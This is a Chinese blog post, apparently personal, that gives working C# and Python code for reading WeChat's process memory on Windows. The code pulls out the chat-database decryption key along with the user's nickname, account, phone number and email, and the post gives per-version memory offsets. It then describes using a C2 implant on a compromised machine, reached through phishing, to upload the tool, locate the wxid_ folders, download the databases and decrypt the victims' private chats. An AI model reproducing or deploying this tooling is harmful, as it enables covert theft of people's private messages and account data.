W3lkin's Universe
「你就像是一阵风,在我这里掀起了万丈波澜,却又跟着云去了远方」
September 30th, 2023
昨天看到篇文章写的实战中各种密码凭证的获取,其中包括了钓鱼运维然后从微信中获取敏感信息。这一直是我比较感兴趣的模块。在这之前微信聊天记录的数字化我只会聊天记录备份到模拟器然后再解密。说实话没啥太大的应用空间,不管是实战还是取证也好,这个手段都是不现实的。文章里写的手法是直接上windows,然后拿key解密数据库,这确实是一种高效实用的办法。
微信聊天记录数据库存在了wxid_xxxxxxxxxx/msg/Multi/MSG.db(数据库每达到270m就会生成一个新的,就是数据库的编号)引导文件是wxid_xxxxxxxxxx/msg/MicroMsg.db我们要做的就是获取到数据库的秘钥,不同版本的windows微信偏移地址不一样。C#编译成exe命令
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc test.cs
源代码
using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Text; namespace WeChatGetKey { internal class Program { private static void Main(string[] args) { try { Program.ReadTest(); } catch (Exception ex) { Console.WriteLine("Error:"+ ex.Message); } finally { //Console.ReadKey(); } Console.WriteLine("[+] Done"); } private static void ReadTest() { List<int> SupportList = null; Process WeChatProcess = null; foreach (Process ProcessesName in Process.GetProcessesByName("WeChat")) { WeChatProcess = ProcessesName; Console.WriteLine("[+] WeChatProcessPID: " + WeChatProcess.Id.ToString()); foreach (object obj in WeChatProcess.Modules) { ProcessModule processModule = (ProcessModule)obj; if (processModule.ModuleName == "WeChatWin.dll") { Program.WeChatWinBaseAddress = processModule.BaseAddress; string FileVersion = processModule.FileVersionInfo.FileVersion; Console.WriteLine("[+] WeChatVersion: " + FileVersion); if (!Program.VersionList.TryGetValue(FileVersion, out SupportList)) { Console.WriteLine("[-] WeChat Current Version Is: " + FileVersion + " Not Support"); return; } break; } } if (SupportList == null) { Console.WriteLine("[-] WeChat Base Address Get Faild"); } else { Int64 WeChatKey = (Int64)Program.WeChatWinBaseAddress + SupportList[4]; string HexKey = Program.GetHex(WeChatProcess.Handle, (IntPtr)WeChatKey); if (string.IsNullOrWhiteSpace(HexKey)) { Console.WriteLine("[-] WeChat Is Run, But Maybe No Login"); return; } else { Int64 WeChatName = (Int64)Program.WeChatWinBaseAddress + SupportList[0]; Console.WriteLine("[+] WeChatName: " + Program.GetName(WeChatProcess.Handle, (IntPtr)WeChatName, 100)); Int64 WeChatAccount = (Int64)Program.WeChatWinBaseAddress + SupportList[1]; string Account = Program.GetMobile(WeChatProcess.Handle, (IntPtr)WeChatAccount); if (string.IsNullOrWhiteSpace(Account)) { Console.WriteLine("[-] WeChatAccount: Maybe User Is No Set Account"); } else { Console.WriteLine("[+] WeChatAccount: " + Program.GetAccount(WeChatProcess.Handle, (IntPtr)WeChatAccount, 100)); } Int64 WeChatMobile = (Int64)Program.WeChatWinBaseAddress + SupportList[2]; string Mobile = Program.GetMobile(WeChatProcess.Handle, (IntPtr)WeChatMobile); if (string.IsNullOrWhiteSpace(Mobile)) { Console.WriteLine("[-] WeChatMobile: Maybe User Is No Binding Mobile"); } else { Console.WriteLine("[+] WeChatMobile: " + Program.GetMobile(WeChatProcess.Handle, (IntPtr)WeChatMobile, 100)); } Int64 WeChatMail = (Int64)Program.WeChatWinBaseAddress + SupportList[3]; string Mail = Program.GetMail(WeChatProcess.Handle, (IntPtr)WeChatMail); if (string.IsNullOrWhiteSpace(Mail) != false) { } else { Console.WriteLine("[+] WeChatMail: " + Program.GetMail(WeChatProcess.Handle, (IntPtr)WeChatMail, 100)); } Console.WriteLine("[+] WeChatKey: " + HexKey); } } } if (WeChatProcess == null) { Console.WriteLine("[-] WeChat No Run"); return; } } private static string GetName(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) { byte[] array = new byte[nSize]; if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) { return ""; } string text = ""; foreach (char c in Encoding.UTF8.GetString(array)) { if (c == '\0') { break; } text += c.ToString(); } return text; } private static string GetAccount(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) { byte[] array = new byte[nSize]; if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) { return ""; } string text = ""; foreach (char c in Encoding.UTF8.GetString(array)) { if (c == '\0') { break; } text += c.ToString(); } return text; } private static string GetMobile(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) { byte[] array = new byte[nSize]; if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) { return ""; } string text = ""; foreach (char c in Encoding.UTF8.GetString(array)) { if (c == '\0') { break; } text += c.ToString(); } return text; } private static string GetMail(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) { byte[] array = new byte[nSize]; if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) { return ""; } string text = ""; foreach (char c in Encoding.UTF8.GetString(array)) { if (c == '\0') { break; } text += c.ToString(); } return text; } //private static string GetHex(IntPtr hProcess, IntPtr lpBaseAddress) //{ // byte[] array = new byte[4]; // if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, 4, 0) == 0) // { // return ""; // } // int num = 32; // byte[] array2 = new byte[num]; // IntPtr lpBaseAddress2 = (IntPtr)(((int)array[3] << 24) + ((int)array[2] << 16) + ((int)array[1] << 8) + (int)array[0]); // if (Program.ReadProcessMemory(hProcess, lpBaseAddress2, array2, num, 0) == 0) // { // return ""; // } // return Program.bytes2hex(array2); //} private static string GetHex(IntPtr hProcess, IntPtr lpBaseAddress) { byte[] array = new byte[8]; if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, 8, 0) == 0) { return ""; } int num = 32; byte[] array2 = new byte[num]; IntPtr lpBaseAddress2 = (IntPtr)(((long)array[7] << 56) + ((long)array[6] << 48) + ((long)array[5] << 40) + ((long)array[4] << 32) + ((long)array[3] << 24) + ((long)array[2] << 16) + ((long)array[1] << 8) + (long)array[0]); if (Program.ReadProcessMemory(hProcess, lpBaseAddress2, array2, num, 0) == 0) { return ""; } return Program.bytes2hex(array2); } private static string bytes2hex(byte[] bytes) { return BitConverter.ToString(bytes, 0).Replace("-", string.Empty).ToLower().ToUpper(); } [DllImport("kernel32.dll")] public static extern int OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern int GetModuleHandleA(string moduleName); [DllImport("kernel32.dll")] public static extern int ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, int lpNumberOfBytesRead); public static Dictionary<string, List<int>> VersionList = new Dictionary<string, List<int>> { { "3.2.1.154", new List<int> { 328121948, 328122328, 328123056, 328121976, 328123020 } }, { "3.3.0.115", new List<int> { 31323364, 31323744, 31324472, 31323392, 31324436 } }, { "3.3.0.84", new List<int> { 31315212, 31315592, 31316320, 31315240, 31316284 } }, { "3.3.0.93", new List<int> { 31323364, 31323744, 31324472, 31323392, 31324436 } }, { "3.3.5.34", new List<int> { 30603028, 30603408, 30604120, 30603056, 30604100 } }, { "3.3.5.42", new List<int> { 30603012, 30603392, 30604120, 30603040, 30604084 } }, { "3.3.5.46", new List<int> { 30578372, 30578752, 30579480, 30578400, 30579444 } }, { "3.4.0.37", new List<int> { 31608116, 31608496, 31609224, 31608144, 31609188 } }, { "3.4.0.38", new List<int> { 31604044, 31604424, 31605152, 31604072, 31605116 } }, { "3.4.0.50", new List<int> { 31688500, 31688880, 31689608, 31688528, 31689572 } }, { "3.4.0.54", new List<int> { 31700852, 31701248, 31700920, 31700880, 31701924 } }, { "3.4.5.27", new List<int> { 32133788, 32134168, 32134896, 32133816, 32134860 } }, { "3.4.5.45", new List<int> { 32147012, 32147392, 32147064, 32147040, 32148084 } }, { "3.5.0.20", new List<int> { 35494484, 35494864, 35494536, 35494512, 35495556 } }, { "3.5.0.29", new List<int> { 35507980, 35508360, 35508032, 35508008, 35509052 } }, { "3.5.0.33", new List<int> { 35512140, 35512520, 35512192, 35512168, 35513212 } }, { "3.5.0.39", new List<int> { 35516236, 35516616, 35516288, 35516264, 35517308 } }, { "3.5.0.42", new List<int> { 35512140, 35512520, 35512192, 35512168, 35513212 } }, { "3.5.0.44", new List<int> { 35510836, 35511216, 35510896, 35510864, 35511908 } }, { "3.5.0.46", new List<int> { 35506740, 35507120, 35506800, 35506768, 35507812 } }, { "3.6.0.18", new List<int> { 35842996, 35843376, 35843048, 35843024, 35844068 } }, { "3.6.5.7", new List<int> { 35864356, 35864736, 35864408, 35864384, 35865428 } }, { "3.6.5.16", new List<int> { 35909428, 35909808, 35909480, 35909456, 35910500 } }, { "3.7.0.26", new List<int> { 37105908, 37106288, 37105960, 37105936, 37106980 } }, { "3.7.0.29", new List<int> { 37105908, 37106288, 37105960, 37105936, 37106980 } }, { "3.7.0.30", new List<int> { 37118196, 37118576, 37118248, 37118224, 37119268 } }, { "3.7.5.11", new List<int> { 37883280, 37884088, 37883136, 37883008, 37884052 } }, { "3.7.5.23", new List<int> { 37895736, 37896544, 37895592, 37883008, 37896508 } }, { "3.7.5.27", new List<int> { 37895736, 37896544, 37895592, 37895464, 37896508 } }, { "3.7.5.31", new List<int> { 37903928, 37904736, 37903784, 37903656, 37904700 } }, { "3.7.6.24", new List<int> { 38978840, 38979648, 38978696, 38978604, 38979612 } }, { "3.7.6.29", new List<int> { 38986376, 38987184, 38986232, 38986104, 38987148 } }, { "3.7.6.44", new List<int> { 39016520, 39017328, 39016376, 38986104, 39017292 } }, { "3.8.0.31", new List<int> { 46064088, 46064912, 46063944, 38986104, 46064876 } }, { "3.8.0.33", new List<int> { 46059992, 46060816, 46059848, 38986104, 46060780 } }, { "3.8.0.41", new List<int> { 46064024, 46064848, 46063880, 38986104, 46064812 } }, { "3.8.1.26", new List<int> { 46409448, 46410272, 46409304, 38986104, 46410236 } }, { "3.9.0.28", new List<int> { 48418376, 48419280, 48418232, 38986104, 48419244 } }, { "3.9.2.23", new List<int> { 50320784, 50321712, 50320640, 38986104, 50321676 } }, { "3.9.2.26", new List<int> { 50329040, 50329968, 50328896, 38986104, 50329932 } }, { "3.9.5.91", new List<int> { 61654904, 61654680, 61654712, 38986104, 61656176 } }, { "3.9.6.19", new List<int> { 61997688, 61997464, 61997496, 38986104, 61998960 } }, { "3.9.7.25", new List<int> { 63482760, 63484096, 63482568, 0, 63484032 } }, { "3.9.6.33", new List<int> { 62030600, 62031936, 62030408, 38986104, 62031872 } } }; private static IntPtr WeChatWinBaseAddress = IntPtr.Zero; } }
要是没有对应版本的偏移地址就去获取偏移地址pip安装依赖环境
psutil pycryptodome pywin32
获取偏移地址源代码
# -*- coding: utf-8 -*-# # ------------------------------------------------------------------------------- # Name: get_base_addr.py # Description: # Author: xaoyaoo # Date: 2023/08/22 # ------------------------------------------------------------------------------- import argparse import ctypes import json import re import psutil import win32api def hex2dec(hex): return int(hex, 16) def dec2hex(dec): return hex(dec) def hex_add(hex1, hex2, base1=16, base2=16): """ 两个任意进制数相加 :param hex1: :param hex2: :return: """ return hex(int(hex1, base1) + int(hex2, base2)) def hex_sub(hex1, hex2, base1=16, base2=16): """ 两个任意进制数相减 :param hex1: :param hex2: :return: """ return hex(int(hex1, base1) - int(hex2, base2)) def get_pid(keyword): """ 获取进程id :param keyword: 关键字 :return: """ pids = {} for proc in psutil.process_iter(): if keyword in proc.name(): pids[proc.pid] = proc return pids class BaseAddr: def __init__(self, pid, proc_module_name="WeChatWin.dll"): self.pid = pid self.module_name = proc_module_name self.proc = psutil.Process(self.pid) self.version = self.get_app_version(self.proc.exe()) self.base_address = 0 self.end_address = 0 self.batch = 0 self.key_start_addr = 0 self.key_end_addr = 0 self.mobile_addr = [] self.name_addr = [] self.account_addr = [] # self.key_addr = [] self.get_base_addr() def get_app_version(self, executable_path): info = win32api.GetFileVersionInfo(executable_path, "\\") version = info['FileVersionMS'] >> 16, info['FileVersionMS'] & 0xFFFF, \ info['FileVersionLS'] >> 16, info['FileVersionLS'] & 0xFFFF version_str = ".".join(map(str, version)) return version_str def get_base_addr(self): """ 获取模块基址 :param pid: 进程id :param module_name: 模块名 :return: """ base_address = 0 end_address = 0 batch = 0 n = 0 for module in self.proc.memory_maps(grouped=False): if self.module_name in module.path: if n == 0: base_address = int(module.addr, 16) batch = module.rss n += 1 end_address = int(module.addr, 16) + module.rss self.base_address = base_address self.end_address = end_address self.batch = batch # self.batch = end_address - base_address def find_all(self, c, string): """ 查找字符串中所有子串的位置 :param c: 子串 b'123' :param string: 字符串 b'123456789123' :return: """ return [m.start() for m in re.finditer(re.escape(c), string)] # 搜索内存地址范围内的值 def search_memory_value(self, mobile, name, account): mobile = mobile.encode("utf-8") name = name.encode("utf-8") account = account.encode("utf-8") Handle = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, self.pid) mobile_addr = [] name_addr = [] account_addr = [] array = ctypes.create_string_buffer(self.batch) for i in range(self.base_address, self.end_address, self.batch): if ctypes.windll.kernel32.ReadProcessMemory(Handle, ctypes.c_void_p(i), array, self.batch, None) == 0: continue hex_string = array.raw # 读取到的内存数据 if mobile in hex_string: mobile_addr = mobile_addr + [m.start() + i for m in re.finditer(re.escape(mobile), hex_string)] if name in hex_string: name_addr = name_addr + [m.start() + i for m in re.finditer(re.escape(name), hex_string)] if account in hex_string: account_addr = account_addr + [m.start() + i for m in re.finditer(re.escape(account), hex_string)] self.mobile_addr = mobile_addr self.name_addr = name_addr self.account_addr = account_addr return mobile_addr, name_addr, account_addr def get_key_addr(self, key): """ 获取key的地址 :param key: :return: """ key = bytes.fromhex(key) module_start_addr = 34199871460642 module_end_addr = 0 for module in self.proc.memory_maps(grouped=False): if "WeChat" in module.path: start_addr = int(module.addr, 16) end_addr = start_addr + module.rss if module_start_addr > start_addr: module_start_addr = start_addr if module_end_addr < end_addr: module_end_addr = end_addr Handle = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, self.pid) array = ctypes.create_string_buffer(self.batch) for i in range(module_start_addr, module_end_addr, self.batch): if ctypes.windll.kernel32.ReadProcessMemory(Handle, ctypes.c_void_p(i), array, self.batch, None) == 0: continue hex_string = array.raw # 读取到的内存数据 if key in hex_string: self.key_addr_tmp = i + hex_string.find(key) break array_key = [] for i in range(8): byte_value = (self.key_addr_tmp >> (i * 8)) & 0xFF hex_string = format(byte_value, '02x') byte_obj = bytes.fromhex(hex_string) array_key.append(byte_obj) # 合并数组 array_key = b''.join(array_key) array = ctypes.create_string_buffer(self.batch) for i in range(self.base_address, self.end_address, self.batch): if ctypes.windll.kernel32.ReadProcessMemory(Handle, ctypes.c_void_p(i), array, self.batch, None) == 0: continue hex_string = array.raw # 读取到的内存数据 if array_key in hex_string: self.key_addr = i + hex_string.find(array_key) return self.key_addr def calculate_offset(self, addr): """ 计算偏移量 :param addr: :return: """ offset = addr - self.base_address return offset def get_offset(self): """ 计算偏移量 :param addr: :return: """ mobile_offset = 0 name_offset = 0 account_offset = 0 key_offset = 0 if len(self.mobile_addr) >= 1: mobile_offset = self.calculate_offset(self.mobile_addr[0]) if len(self.name_addr) >= 1: name_offset = self.calculate_offset(self.name_addr[0]) if len(self.account_addr) >= 1: if len(self.account_addr) >= 2: account_offset = self.calculate_offset(self.account_addr[1]) else: account_offset = self.calculate_offset(self.account_addr[0]) key_offset = self.calculate_offset(self.key_addr) self.key_offset = key_offset self.mobile_offset = mobile_offset self.name_offset = name_offset self.account_offset = account_offset return name_offset, account_offset, mobile_offset, 0, key_offset def run(mobile, name, account, key): proc_name = "WeChat.exe" proc_module_name = "WeChatWin.dll" pids = get_pid(proc_name) for pid, proc in pids.items(): ba = BaseAddr(pid, proc_module_name) ba.search_memory_value(mobile, name, account) ba.get_key_addr(key) name_offset, account_offset, mobile_offset, _, key_offset = ba.get_offset() rdata = {ba.version: [name_offset, account_offset, mobile_offset, 0, key_offset]} return rdata if __name__ == '__main__': # 创建命令行参数解析器 parser = argparse.ArgumentParser() parser.add_argument("--mobile", type=str, help="手机号") parser.add_argument("--name", type=str, help="微信昵称") parser.add_argument("--account", type=str, help="微信账号") parser.add_argument("--key", type=str, help="密钥") # 解析命令行参数 args = parser.parse_args() # 检查是否缺少必要参数,并抛出错误 if not args.mobile or not args.name or not args.account or not args.key: raise ValueError("缺少必要的命令行参数!请提供手机号、微信昵称、微信账号和密钥。") # 从命令行参数获取值 mobile = args.mobile name = args.name account = args.account key = args.key # 调用 run 函数,并传入参数 rdata = run(mobile, name, account, key) print(rdata) # 添加到version_list.json with open("version_list.json", "r", encoding="utf-8") as f: data = json.load(f) data.update(rdata) with open("version_list.json", "w", encoding="utf-8") as f: json.dump(data, f, ensure_ascii=False, indent=4)
用法
python get_base_addr.py --mobile 手机号 --name 微信名称 --account 微信号 --key 微信的key
将获取到的偏移地址补充到上面的C#代码中即可(这里要保存好自己的key,方便版本更新时直接用key来找偏移地址,也可以纯手找偏移地址,但是我感觉研究那些底层的东西对我的帮助不大,有现成的东西直接用就好了)运行C#编译的程序自动获取微信的key
https://github.com/Ormicron/chatViewTool新建文件夹里面创建个DBPass.Bin文件,内容是获取到的key,相同目录下放入上面提到的MSG*.db和MicroMsg.db文件。选择数据库解密,然后软件会卡住无响应,等他解密完就好了。解密完成选择查看即可双击即可可视化展示,13万条记录,哈哈哈哈,这大概就是我的青春吧,小熊是个坏东西!
上线了先注入个进程再设置好回连时间把获取key的工具传上去运行,不要start,直接输入文件的绝对路径就行了找微信的路径(可以先在C2上列出目标磁盘再一个一个检索)
dir /s /b c: | findstr "wxid_"
下载文件下到本地,按上面的手法解密即可
突然想起来这种手法还算不上完美,仅仅只能看文字信息,我看了数据库里面的图片这些信息都是个xml,里面写了cdnkey之类的东西,我感觉用这些东西是可以直接找到原始图片文件的,但是不知道怎么操作。网上找了一大圈都没有发现解决办法,自己抓包看了下图片根本不走http请求,用wireshark感觉是tcp传输的文件,请求包都是乱码,但是发现了一些fileid之类的字眼。没办法,搞不出来。
background:
昨天看到篇文章写的实战中各种密码凭证的获取,其中包括了钓鱼运维然后从微信中获取敏感信息。
这一直是我比较感兴趣的模块。在这之前微信聊天记录的数字化我只会聊天记录备份到模拟器然后再解密。说实话没啥太大的应用空间,不管是实战还是取证也好,这个手段都是不现实的。文章里写的手法是直接上windows,然后拿key解密数据库,这确实是一种高效实用的办法。
获取秘钥
微信聊天记录数据库存在了wxid_xxxxxxxxxx/msg/Multi/MSG.db(数据库每达到270m就会生成一个新的,就是数据库的编号)
引导文件是wxid_xxxxxxxxxx/msg/MicroMsg.db
我们要做的就是获取到数据库的秘钥,不同版本的windows微信偏移地址不一样。
C#编译成exe命令
源代码
要是没有对应版本的偏移地址就去获取偏移地址
pip安装依赖环境
获取偏移地址源代码
用法
将获取到的偏移地址补充到上面的C#代码中即可(这里要保存好自己的key,方便版本更新时直接用key来找偏移地址,也可以纯手找偏移地址,但是我感觉研究那些底层的东西对我的帮助不大,有现成的东西直接用就好了)


运行C#编译的程序自动获取微信的key
解密
https://github.com/Ormicron/chatViewTool



新建文件夹里面创建个DBPass.Bin文件,内容是获取到的key,相同目录下放入上面提到的MSG*.db和MicroMsg.db文件。选择数据库解密,然后软件会卡住无响应,等他解密完就好了。
解密完成选择查看即可
双击即可可视化展示,13万条记录,哈哈哈哈,这大概就是我的青春吧,小熊是个坏东西!
实战场景模拟
上线了先注入个进程再设置好回连时间

把获取key的工具传上去运行,不要start,直接输入文件的绝对路径就行了
找微信的路径(可以先在C2上列出目标磁盘再一个一个检索)
下载文件
下到本地,按上面的手法解密即可
2023年10月7日13:10:13更新
突然想起来这种手法还算不上完美,仅仅只能看文字信息,我看了数据库里面的图片这些信息都是个xml,里面写了cdnkey之类的东西,我感觉用这些东西是可以直接找到原始图片文件的,但是不知道怎么操作。网上找了一大圈都没有发现解决办法,自己抓包看了下图片根本不走http请求,用wireshark感觉是tcp传输的文件,请求包都是乱码,但是发现了一些fileid之类的字眼。没办法,搞不出来。